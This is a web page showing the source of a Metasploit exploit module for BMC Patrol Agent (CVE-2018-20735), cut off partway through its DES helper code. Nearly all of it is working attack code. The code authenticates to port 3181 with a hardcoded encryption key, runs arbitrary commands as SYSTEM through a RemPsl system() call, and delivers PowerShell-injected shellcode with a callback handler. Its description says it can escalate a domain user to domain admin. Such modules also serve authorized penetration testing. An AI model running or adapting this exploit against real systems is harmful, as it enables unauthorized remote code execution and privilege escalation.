Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'zlib'56class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking8include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Powershell1011@deflater = nil12@inflater = nil1314SBOXES = [150x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,160x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,170x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,180x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,190x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,200x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,210x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,220x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,230x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,240x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,250x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,260x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,270x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,280x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,290x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,300x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,310x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,320x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,330x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,340x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,350x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,360x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,370x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,380x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,390x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,400x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,410x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,420x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,430x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,440x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,450x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,460x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,470x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,480x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,490x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,500x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,510x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,520x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,530x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,540x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,550x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,560x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,570x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,580x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,590x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,600x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,610x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,620x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,630x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,640x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,650x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,660x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,670x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,680x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,690x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,700x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,710x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,720x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,730x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,740x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,750x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,760x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,770x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,780x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,790x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,800x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,810x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,820x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,830x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,840x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,850x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,860x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,870x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,880x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,890x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,900x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,910x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,920x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,930x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,940x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,950x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,960x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,970x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,980x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,990x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,1000x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,1010x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,1020x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,1030x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,1040x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,1050x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,1060x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,1070x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,1080x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,1090x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,1100x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,1110x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,1120x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,1130x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,1140x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,1150x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220116].freeze117118PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\119"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\120"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\121"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze122123PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\124"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\125"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\126"\x23\x1C\x1F".freeze127128SBOX_BYTE_ORDER = [1291, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,1300x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,1310x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,1320x40000000, 0x80000000133].freeze134135ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze136INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze137INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze138139DES_ENCRYPT = 0140141def initialize(info = {})142super(update_info(info,143'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',144'Description' => %q(145This module leverages the remote command execution feature provided by146the BMC Patrol Agent software. It can also be used to escalate privileges147on Windows hosts as the software runs as SYSTEM but only verfies that the password148of the provided user is correct. This also means if the software is running on a149domain controller, it can be used to escalate from a normal domain user to domain150admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses151powershell to execute the payload. The powershell version tends to timeout on152the first run so it may take multiple tries.153),154'License' => MSF_LICENSE,155'Author' =>156[157'b0yd' # @rwincey / Vulnerability Discovery and MSF module author158],159'References' =>160[161['CVE', '2018-20735'],162['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']163],164'Platform' => ['win', 'linux'],165'Targets' =>166[167[168'Windows Powershell Injected Shellcode', {169'Platform' => 'win'170}171],172[173'Generic Command Callback', {174'Arch' => ARCH_CMD,175'Platform' => %w[linux unix win]176}177]178],179'Privileged' => true,180'DefaultTarget' => 0,181'DefaultOptions' => {182'DisablePayloadHandler' => true183},184'DisclosureDate' => '2019-01-17'))185186register_options(187[188Opt::RPORT(3181),189OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),190OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),191OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])192]193)194195end196197def cleanup198disconnect199print_status("Disconnected from BMC Patrol Agent.")200@inflater.close201@deflater.close202super203end204205def get_target_os(srv_info_msg)206lines = srv_info_msg.split("\n")207fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"208209os = nil210ver = nil211lines[2..-2].each do |i|212val = i.split("=")213if val.length == 2214if val[0].strip! == "T"215os = val[1]216elsif val[0].strip! == "VER"217ver = val[1]218end219end220end221[os, ver]222end223224def get_cmd_output(cmd_output_msg)225226lines = cmd_output_msg.split("\n")227fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"228229# Parse out command results230idx_start = cmd_output_msg.index("Result\x00")231idx_end = cmd_output_msg.index("RemPsl_user")232output = cmd_output_msg[idx_start + 7..idx_end - 1]233234output235end236237def exploit238239# Manually start the handler if not running a single command240if datastore['CMD'].nil? || datastore['CMD'].empty?241242# Set to nil if the cmd is empty for checks further down243datastore['CMD'] = nil244datastore['DisablePayloadHandler'] = false245246# Configure the payload handler247payload_instance.exploit_config = {248'active_timeout' => 300249}250# Setup the payload handler251payload_instance.setup_handler252253# Start the payload handler254payload_instance.start_handler255256end257258# Initialize zlib objects259@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)260@inflater = Zlib::Inflate.new261262# Connect to the BMC Patrol Agent263connect264print_status("Connected to BMC Patrol Agent.")265266# Create session msg267create_session268ret_data = receive_msg269fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?270271# Authenticate272authenticate_user(datastore['USER'], datastore['PASSWORD'])273274# Receive the authentication response275ret_data = receive_msg276fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?277278ret_msg = process_response(ret_data)279if ret_msg =~ /logged in/280print_status("Successfully authenticated user.")281else282fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")283end284285# Receive the server info286ret_data = receive_msg287fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?288srv_info = process_response(ret_data)289290# Get the target's OS from their info msg291target_os = get_target_os(srv_info)292293# When using autotargeting, MSF selects the Windows meterpreter as the default payload.294# Fail if this is the case and ask the user to select an appropriate payload.295if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?296fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")297end298299target_name = target.name300if !datastore['CMD'].nil?301command = datastore['CMD'].tr('"', '\"')302print_status("Command to execute: #{command}")303elsif target_name == 'Windows Powershell Injected Shellcode'304# Get encoded powershell of payload305command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')306else307command = payload.raw.tr('"', '\"')308end309310# Run command311run_cmd(command)312313# Receive command confirmation314ret_data = receive_msg315if !ret_data.nil?316process_response(ret_data)317end318319# Receive command output320ret_data = receive_msg321if !ret_data.nil? && !datastore['CMD'].nil?322cmd_result_data = process_response(ret_data)323cmd_result = get_cmd_output(cmd_result_data)324print_status("Output:\n#{cmd_result}")325end326327# Handle the shell328handler329330end331332def receive_msg333334header = sock.get_once(6)335if header.nil?336return337end338339payload_size_arr = header[0, 4]340payload_size = payload_size_arr.unpack1("N")341payload = ''342if payload_size > 0343payload = sock.get_once(payload_size)344if payload.nil?345return346end347end348349return header + payload350351end352353def send_msg(type, compression, data)354355data_len = data.length356buf = [data_len].pack('N')357358# Set the type359buf += [type].pack('C')360361# Set compression flag362buf += [compression].pack('C')363364# Add data365buf += data366367# Send msg368sock.put(buf)369370end371372def process_response(ret_data)373374# While style checks complain, I intend to leave this parsing375# in place for debugging purposes376ret_size_arr = ret_data[0, 4]377ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment378379msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment380comp_flag = ret_data[5, 1]381382payload_data = ret_data[6..-1]383if comp_flag == "\x00"384bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment385payload_data = @inflater.inflate(payload_data)386end387388return payload_data389390end391392def run_cmd(cmd)393394user_num = rand 1000..9999395msg_1 = %(R_E396{397\tRE_ID=1398\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}399\tRE_ORG=PemApi400\tRE_SEV=1401\tRE_NSEV=5402\tRE_ST=403}404)405406msg_1 += "\x00"407# Compress the message408comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH409send_msg(0x44, 0x0, comp_data)410411end412413def identify(user)414415inner_len = 15416msg_type = 8417len_str = [inner_len].pack("N")418msg_str = [msg_type].pack("N")419msg_1 = %(PEM_MSG420{421\tNSDL=#{inner_len}422\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00423}424)425msg_1 += "\x00"426print_status("Msg: #{msg_1}")427bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment428# Compress the message429comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH430send_msg(0x44, 0x0, comp_data)431432end433434def create_session435sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"436sess_msg += "\x00" * 0x68437send_msg(0x45, 0x2, sess_msg)438end439440def authenticate_user(user, password)441# Default encryption key442enc_key = 'k$C4}@"_'443output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)444# Convert to hex string445encrpted_pw = output_data.unpack1("H*")446des_pw = encrpted_pw.upcase447448msg_1 = %(ID449{450\tHOST=user451\tUSER=#{user}452\tPASS=#{des_pw}453\tVER=V9.6.00454\tT=PEMAPI455\tHTBT=1456\tTMOT=1728000457\tRTRS=3458}459)460461msg_1 += "\x00"462comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH463send_msg(0x44, 0x0, comp_data)464465end466467def rotate_block_init(input_block_tuple)468469v6 = 0470v5 = 0471input_block_tuple = input_block_tuple.pack("V*").unpack("i*")472v3 = input_block_tuple[0]473v4 = input_block_tuple[1]474475if (v4 & 0x2000000) != 0476v5 = 1477end478if (v4 & 0x20000) != 0479v5 |= 2480end481if (v4 & 0x200) != 0482v5 |= 4483end484if (v4 & 2) != 0485v5 |= 8486end487if (v3 & 0x2000000) != 0488v5 |= 0x10489end490if (v3 & 0x20000) != 0491v5 |= 0x20492end493if (v3 & 0x200) != 0494v5 |= 0x40495end496if (v3 & 2) != 0497v5 |= 0x80498end499if (v4 & 0x8000000) != 0500v5 |= 0x100501end502if (v4 & 0x80000) != 0503v5 |= 0x200504end505if (v4 & 0x800) != 0506v5 |= 0x400507end508if (v4 & 8) != 0509v5 |= 0x800510end511if (v3 & 0x8000000) != 0512v5 |= 0x1000513end514if (v3 & 0x80000) != 0515v5 |= 0x2000516end517if (v3 & 0x800) != 0518v5 |= 0x4000519end520if (v3 & 8) != 0521v5 |= 0x8000522end523if (v4 & 0x20000000) != 0524v5 |= 0x10000525end526if (v4 & 0x200000) != 0527v5 |= 0x20000528end529if (v4 & 0x2000) != 0530v5 |= 0x40000531end532if (v4 & 0x20) != 0533v5 |= 0x80000534end535if (v3 & 0x20000000) != 0536v5 |= 0x100000537end538if (v3 & 0x200000) != 0539v5 |= 0x200000540end541if (v3 & 0x2000) != 0542v5 |= 0x400000543end544if (v3 & 0x20) != 0545v5 |= 0x800000546end547if (v4 < 0)548v5 |= 0x1000000549end550if (v4 & 0x800000) != 0551v5 |= 0x2000000552end553if (v4 & 0x8000) != 0554v5 |= 0x4000000555end556if (v4 & 0x80) != 0557v5 |= 0x8000000558end559if (v3 < 0)560v5 |= 0x10000000561end562if (v3 & 0x800000) != 0563v5 |= 0x20000000564end565if (v3 & 0x8000) != 0566v5 |= 0x40000000567end568if (v3 & 0x80) != 0569v5 |= 0x80000000570end571if (v4 & 0x1000000) != 0572v6 = 1573end574if (v4 & 0x10000) != 0575v6 |= 2576end577if (v4 & 0x100) != 0578v6 |= 4579end580if (v4 & 1) != 0581v6 |= 8582end583if (v3 & 0x1000000) != 0584v6 |= 0x10585end586if (v3 & 0x10000) != 0587v6 |= 0x20588end589if (v3 & 0x100) != 0590v6 |= 0x40591end592if (v3 & 1) != 0593v6 |= 0x80594end595if (v4 & 0x4000000) != 0596v6 |= 0x100597end598if (v4 & 0x40000) != 0599v6 |= 0x200600end601if (v4 & 0x400) != 0602v6 |= 0x400603end604if (v4 & 4) != 0605v6 |= 0x800606end607if (v3 & 0x4000000) != 0608v6 |= 0x1000609end610if (v3 & 0x40000) != 0611v6 |= 0x2000612end613if (v3 & 0x400) != 0614v6 |= 0x4000615end616if (v3 & 4) != 0617v6 |= 0x8000618end619if (v4 & 0x10000000) != 0620v6 |= 0x10000621end622if (v4 & 0x100000) != 0623v6 |= 0x20000624end625if (v4 & 0x1000) != 0626v6 |= 0x40000627end628if (v4 & 0x10) != 0629v6 |= 0x80000630end631if (v3 & 0x10000000) != 0632v6 |= 0x100000633end634if (v3 & 0x100000) != 0635v6 |= 0x200000636end637if (v3 & 0x1000) != 0638v6 |= 0x400000639end640if (v3 & 0x10) != 0641v6 |= 0x800000642end643if (v4 & 0x40000000) != 0644v6 |= 0x1000000645end646if (v4 & 0x400000) != 0647v6 |= 0x2000000648end649if (v4 & 0x4000) != 0650v6 |= 0x4000000651end652if (v4 & 0x40) != 0653v6 |= 0x8000000654end655if (v3 & 0x40000000) != 0656v6 |= 0x10000000657end658if (v3 & 0x400000) != 0659v6 |= 0x20000000660end661if (v3 & 0x4000) != 0662v6 |= 0x40000000663end664if (v3 & 0x40) != 0665v6 |= 0x80000000666end667668# Create return tuple669ret_block = Array.new670ret_block.push v5671ret_block.push v6672ret_block673end674675def rotate_block_final(input_block_tuple)676677v6 = 0678v5 = 0679input_block_tuple = input_block_tuple.pack("V*").unpack("i*")680v3 = input_block_tuple[0]681v4 = input_block_tuple[1]682683if (v4 & 0x80) != 0684v5 = 1685end686if (v3 & 0x80) != 0687v5 |= 2688end689if (v4 & 0x8000) != 0690v5 |= 4691end692if (v3 & 0x8000) != 0693v5 |= 8694end695if (v4 & 0x800000) != 0696v5 |= 0x10697end698if (v3 & 0x800000) != 0699v5 |= 0x20700end701if (v4 < 0)702v5 |= 0x40703end704if (v3 < 0)705v5 |= 0x80706end707if (v4 & 0x40) != 0708v5 |= 0x100709end710if (v3 & 0x40) != 0711v5 |= 0x200712end713if (v4 & 0x4000) != 0714v5 |= 0x400715end716if (v3 & 0x4000) != 0717v5 |= 0x800718end719if (v4 & 0x400000) != 0720v5 |= 0x1000721end722if (v3 & 0x400000) != 0723v5 |= 0x2000724end725if (v4 & 0x40000000) != 0726v5 |= 0x4000727end728if (v3 & 0x40000000) != 0729v5 |= 0x8000730end731if (v4 & 0x20) != 0732v5 |= 0x10000733end734if (v3 & 0x20) != 0735v5 |= 0x20000736end737if (v4 & 0x2000) != 0738v5 |= 0x40000739end740if (v3 & 0x2000) != 0741v5 |= 0x80000742end743if (v4 & 0x200000) != 0744v5 |= 0x100000745end746if (v3 & 0x200000) != 0747v5 |= 0x200000748end749if (v4 & 0x20000000) != 0750v5 |= 0x400000751end752if (v3 & 0x20000000) != 0753v5 |= 0x800000754end755if (v4 & 0x10) != 0756v5 |= 0x1000000757end758if (v3 & 0x10) != 0759v5 |= 0x2000000760end761if (v4 & 0x1000) != 0762v5 |= 0x4000000763end764if (v3 & 0x1000) != 0765v5 |= 0x8000000766end767if (v4 & 0x100000) != 0768v5 |= 0x10000000769end770if (v3 & 0x100000) != 0771v5 |= 0x20000000772end773if (v4 & 0x10000000) != 0774v5 |= 0x40000000775end776if (v3 & 0x10000000) != 0777v5 |= 0x80000000778end779if (v4 & 8) != 0780v6 = 1781end782if (v3 & 8) != 0783v6 |= 2784end785if (v4 & 0x800) != 0786v6 |= 4787end788if (v3 & 0x800) != 0789v6 |= 8790end791if (v4 & 0x80000) != 0792v6 |= 0x10793end794if (v3 & 0x80000) != 0795v6 |= 0x20796end797if (v4 & 0x8000000) != 0798v6 |= 0x40799end800if (v3 & 0x8000000) != 0801v6 |= 0x80802end803if (v4 & 4) != 0804v6 |= 0x100805end806if (v3 & 4) != 0807v6 |= 0x200808end809if (v4 & 0x400) != 0810v6 |= 0x400811end812if (v3 & 0x400) != 0813v6 |= 0x800814end815if (v4 & 0x40000) != 0816v6 |= 0x1000817end818if (v3 & 0x40000) != 0819v6 |= 0x2000820end821if (v4 & 0x4000000) != 0822v6 |= 0x4000823end824if (v3 & 0x4000000) != 0825v6 |= 0x8000826end827if (v4 & 2) != 0828v6 |= 0x10000829end830if (v3 & 2) != 0831v6 |= 0x20000832end833if (v4 & 0x200) != 0834v6 |= 0x40000835end836if (v3 & 0x200) != 0837v6 |= 0x80000838end839if (v4 & 0x20000) != 0840v6 |= 0x100000841end842if (v3 & 0x20000) != 0843v6 |= 0x200000844end845if (v4 & 0x2000000) != 0846v6 |= 0x400000847end848if (v3 & 0x2000000) != 0849v6 |= 0x800000850end851if (v4 & 1) != 0852v6 |= 0x1000000853end854if (v3 & 1) != 0855v6 |= 0x2000000856end857if (v4 & 0x100) != 0858v6 |= 0x4000000859end860if (v3 & 0x100) != 0861v6 |= 0x8000000862end863if (v4 & 0x10000) != 0864v6 |= 0x10000000865end866if (v3 & 0x10000) != 0867v6 |= 0x20000000868end869if (v4 & 0x1000000) != 0870v6 |= 0x40000000871end872if (v3 & 0x1000000) != 0873v6 |= 0x80000000874end875876# Create return tuple877ret_block = Array.new878ret_block.push v5879ret_block.push v6880ret_block881end882883def load(a1)884a2 = Array.new(8, 0)885v3 = a1886a2[0] = a1 & 0xff887v3 >>= 3888a2[1] = v3 & 0xff889v3 >>= 4890a2[2] = v3 & 0xff891v3 >>= 4892a2[3] = v3 & 0xff893v3 >>= 4894a2[4] = v3 & 0xff895v3 >>= 4896a2[5] = v3 & 0xff897v3 >>= 4898a2[6] = v3 & 0xff899v3 >>= 4900a2[7] = v3 & 0xff901a2[0] = (a2[0] * 2) & 0xff902a2[7] |= (16 * a2[0]) & 0xff903v3 >>= 4904a2[0] |= v3 & 